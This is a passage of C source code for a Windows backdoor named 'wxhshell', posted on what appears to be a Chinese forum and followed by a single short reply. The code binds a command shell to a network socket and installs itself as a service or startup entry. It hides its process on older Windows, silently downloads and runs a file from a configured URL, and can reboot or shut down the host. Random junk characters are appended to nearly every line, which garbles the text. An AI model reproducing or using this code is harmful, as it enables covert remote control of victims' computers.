  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;>bcI).  
  if(DownloadFile(cmd,wsh)) EHmw(%a|+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]F P(,:Yw  
  else id'E_]r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J#"@~Q+a`@  
  } D}OvD |<-  
  else { n'>`2 s  
gy0l@ 5 N  
    switch(cmd[0]) { |bA\>%~  
  3U^E<H  
  // 帮助 w*n@_n={  
  case '?': { {wVj-w=<W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [_q3 02  
    break; ,ir(~g+{g  
  } B*W)e$  
  // 安装 c"~ +Y2]tL  
  case 'i': { J4EQhuQ  
    if(Install()) Bu$Z+o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?hHVawt  
    else =f4>vo}@k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JlR (U. "  
    break; ,6J]oX  
    } 'W(!N%u  
  // 卸载 (= #EJB1(  
  case 'r': { zT4SI'r?f  
    if(Uninstall()) ap,%)on^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = wEU+R_#o  
    else KPTp91  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,NB?_\$c  
    break; [M?'N w/[S  
    } A0JlQE&U  
  // 显示 wxhshell 所在路径 EbXWCD  
  case 'p': { M<$a OW0  
    char svExeFile[MAX_PATH]; hhRUC&Y%V  
    strcpy(svExeFile,"\n\r"); W~b->F  
      strcat(svExeFile,ExeFile); f-$%Ck$%,  
        send(wsh,svExeFile,strlen(svExeFile),0); `3GYV|LeQ  
    break; e*K1";  
    } l1 Nr5PT  
  // 重启 2Tt^^Lb  
  case 'b': { 2z#gn9Wb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I8M^]+c  
    if(Boot(REBOOT)) 7 G37V"''  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 20h+^R3{Z  
    else { =r=?N\7I  
    closesocket(wsh); NFsj ~6F#  
    ExitThread(0); ;l4 epN  
    } rs`"Kz`(  
    break; (m:ktd=x  
    } LlbRr.wL  
  // 关机 4}&$s  
  case 'd': { D6z*J?3^#&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @~g][O#Fu  
    if(Boot(SHUTDOWN)) Ry_"sow4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'z\$.L  
    else { V[#eeH)/  
    closesocket(wsh); m6+4}=Cn  
    ExitThread(0); @?bO@  
    } s&.VU|=VQ@  
    break; NW?.Ge.!P  
    } -0P(lkylf  
  // 获取shell zw ,( kv  
  case 's': { Xlg 0u.  
    CmdShell(wsh); ny++U;qi  
    closesocket(wsh); NRIp@PIF:"  
    ExitThread(0); 85gdmla@9  
    break; ';,Rq9-'  
  } MbbKo-7F$  
  // 退出 ` b$u w  
  case 'x': { >/J!:Htk+K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S~GL_#a  
    CloseIt(wsh); <e)u8+(  
    break; &-R(u}m-F  
    } mqrV:3}  
  // 离开 7j,u&%om  
  case 'q': { 7^bde<0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aI^Z0[P+  
    closesocket(wsh); R-[t 4BHn  
    WSACleanup(); u"hv _ml  
    exit(1); V;@kWE>3  
    break; qE:/~Q0  
        } wg.TCT2  
  } "fH"U1Bw  
  } lJ>OuSd  
A*x3O%zH  
  // 提示信息 `bAOhaB,/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E=3UaYr  
} %Bxp !Bj  
  } D2N<a=#  
6O@/Y;5i  
  return; u*w'.5l  
} @a~GHG[x  
{>r56 \!F  
// shell模块句柄 glL.CkJ  
int CmdShell(SOCKET sock) Lkf}+aY  
{ /k_?S?  
STARTUPINFO si; /l6r4aO2=  
ZeroMemory(&si,sizeof(si)); r P1FM1"M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8slOB>2#Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,Y+J.8.H   
PROCESS_INFORMATION ProcessInfo; u*"mdL2  
char cmdline[]="cmd"; fg?4/]*T6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <13').F  
  return 0; CT2L }5L&  
} dsrKHi  
oZS.pi  
// 自身启动模式 DuvI2Z WP]  
int StartFromService(void) .S{>?2  
{ oj$^87KX  
typedef struct 7%` \E9t  
{ wbImE;-Z  
  DWORD ExitStatus; 9$Dsm@tX  
  DWORD PebBaseAddress; Z23*`yR  
  DWORD AffinityMask; VC T~"T2R  
  DWORD BasePriority; n,l{1 q  
  ULONG UniqueProcessId; g#}a?kTM@  
  ULONG InheritedFromUniqueProcessId; T*3>LY+bb  
}   PROCESS_BASIC_INFORMATION; #Y>os3]  
=}pPr]Cc  
PROCNTQSIP NtQueryInformationProcess; N"k IQe*}1  
IN!,|)8s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %pd-{KR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hW Va4  
t^')ST  
  HANDLE             hProcess; !Zi_4 .(4  
  PROCESS_BASIC_INFORMATION pbi; Z]^Ooy[pb  
<$+Cd=71\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,GVD.whUl  
  if(NULL == hInst ) return 0; ZvVrbj&  
JlMD_pA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -F338J+J24  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5JvrQGvL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bf*VY&S- T  
]- +%]'  
  if (!NtQueryInformationProcess) return 0; Ho!dtEs  
=" Sb>_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /9wmc2  
  if(!hProcess) return 0; -1z<,IN+  
)}|b6{{<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vw5f|Q92  
l =`?Im  
  CloseHandle(hProcess); tgpg  
Li2-G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bsc&#  
if(hProcess==NULL) return 0; _VM()n;  
+$SJ@IH[<  
HMODULE hMod; *p  !F+"  
char procName[255]; 4n5r<?rY  
unsigned long cbNeeded; G[4$@{  
]38{du  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E9]\ I> v  
`{v!|.d<  
  CloseHandle(hProcess); ,e93I6  
r2.f8U  
if(strstr(procName,"services")) return 1; // 以服务启动 }#D+}Mo!,  
QKVFH:"3  
  return 0; // 注册表启动 (fUpj^E)p  
} T=~D>2C  
_Yqog/sG  
// 主模块 N)0V6q"  
int StartWxhshell(LPSTR lpCmdLine) -qW[.B  
{ sCrOdJ6|  
  SOCKET wsl; s%OPoRE  
BOOL val=TRUE; D.;iz>_}Y  
  int port=0; VX{9g#y$j  
  struct sockaddr_in door; 1RM@~I$0  
z7$,m#tw  
  if(wscfg.ws_autoins) Install(); Ng 3r`S"_<  
2M`:/shq  
port=atoi(lpCmdLine); r&0IhE  
>u=Dc.lX  
if(port<=0) port=wscfg.ws_port; ?y`we6~\1  
S?BI)shmg  
  WSADATA data; B3 NDx+%m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #fQ}8UxU,  
BSd\Sg4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MUjfqxTT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )&pcRFl  
  door.sin_family = AF_INET; ^(c.A YI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aFf(m-  
  door.sin_port = htons(port); K@R * V  
G.l ~!;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *%p`Jk-U  
closesocket(wsl); JQ"R%g` 8  
return 1; g\~n5=-D  
} *74VrAo  
lD41+x 7  
  if(listen(wsl,2) == INVALID_SOCKET) { ?#]wx H,  
closesocket(wsl); ^Yg}>?0  
return 1; [PP &}.k4"  
} L[rxs[7~  
  Wxhshell(wsl); tH^]`6"QUa  
  WSACleanup(); q!!gn1PT(T  
M9ACaf@  
return 0; (5\VOCT>4%  
F!*tE&Se+  
} -RKqbfmi=  
v3I-i|L<)  
// 以NT服务方式启动 P g.j]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y k @/+PE  
{ 6t!PHA  
DWORD   status = 0; 5'%nLW7;O  
  DWORD   specificError = 0xfffffff; 4mM?RGWv  
S:YQVj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S( Vssi|y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^X\SwgD2w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q xm:5P  
  serviceStatus.dwWin32ExitCode     = 0; Zv|TvlyT"  
  serviceStatus.dwServiceSpecificExitCode = 0; Uw5AHq).  
  serviceStatus.dwCheckPoint       = 0; K}a3Bj,  
  serviceStatus.dwWaitHint       = 0; (@nE e?  
 J]4pPDm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <%b a 3<sg  
  if (hServiceStatusHandle==0) return; 8lZB3p]X  
@F/yc  
status = GetLastError(); t4[<N  
  if (status!=NO_ERROR) NDYm7X*et  
{ 2Sb68hJIE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cD JeYduK  
    serviceStatus.dwCheckPoint       = 0; x3tos!Y  
    serviceStatus.dwWaitHint       = 0; {[:]}m(c  
    serviceStatus.dwWin32ExitCode     = status; J2avt  
    serviceStatus.dwServiceSpecificExitCode = specificError; rZ:-%#Q4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;w(tXcXZ  
    return; DU|>zO%  
  } a,`f`;\7N%  
W:S?_JM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]X\p\n'@j  
  serviceStatus.dwCheckPoint       = 0; 'MK"*W8QRM  
  serviceStatus.dwWaitHint       = 0; 7M,(!*b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -POsbb>  
} U@:h';.  
4Gor*{  
// 处理NT服务事件,比如:启动、停止 ~9ynlVb7)r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :c}"a(|  
{ u6MHdCJ0y  
switch(fdwControl) O]VHX![Y$  
{ pz0Q@n/X  
case SERVICE_CONTROL_STOP: UB2Ft=  
  serviceStatus.dwWin32ExitCode = 0; a%XF"*^v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6z2WN|78  
  serviceStatus.dwCheckPoint   = 0; q .s'z}  
  serviceStatus.dwWaitHint     = 0; L&LAh&%{2  
  { 9YEE.=]T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F9Co m}  
  } AQm#a;  
  return; cP2n,>:  
case SERVICE_CONTROL_PAUSE: ?)V|L~/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M'5PPBSR  
  break; kK%@cIXS3  
case SERVICE_CONTROL_CONTINUE: CAbR+ y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q5#6PYIq  
  break; tFvXVfml  
case SERVICE_CONTROL_INTERROGATE: PUbfQg  
  break; U%V4@iz~\m  
}; hn[lhC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H84Zg/ ^  
} _X)`S"EsJ  
34c+70x7  
// 标准应用程序主函数 . ytxe!O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K)N'~jCG  
{ S=_*<[W%4  
}P\J?8  
// 获取操作系统版本 c0f8*O4i  
OsIsNt=GetOsVer(); rk8Cea  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W'{o`O=GGr  
4)Ab]CdD  
  // 从命令行安装 )'i n}M  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZO8r8 [  
'BX U '  
  // 下载执行文件 iT=h }>  
if(wscfg.ws_downexe) { B+4WnR1%T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RXw }Tb/D8  
  WinExec(wscfg.ws_filenam,SW_HIDE); &|I{ju_  
} `dJ?j[P,p  
S5/p3;O\c  
if(!OsIsNt) { p|n!R $_g\  
// 如果时win9x,隐藏进程并且设置为注册表启动 q_86nvB<  
HideProc(); 5gKXe4}\/|  
StartWxhshell(lpCmdLine); =z*SzG  
} l&{+3aC:  
else @B9O*x+n:  
  if(StartFromService()) MmH(dp+  
  // 以服务方式启动 Y$0K}`{  
  StartServiceCtrlDispatcher(DispatchTable); r*f:%epB%  
else d$B+xW  
  // 普通方式启动 WXFC e@  
  StartWxhshell(lpCmdLine); 3eN(Sw@p  
4Ul*`/d  
return 0; -'rb+<v  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五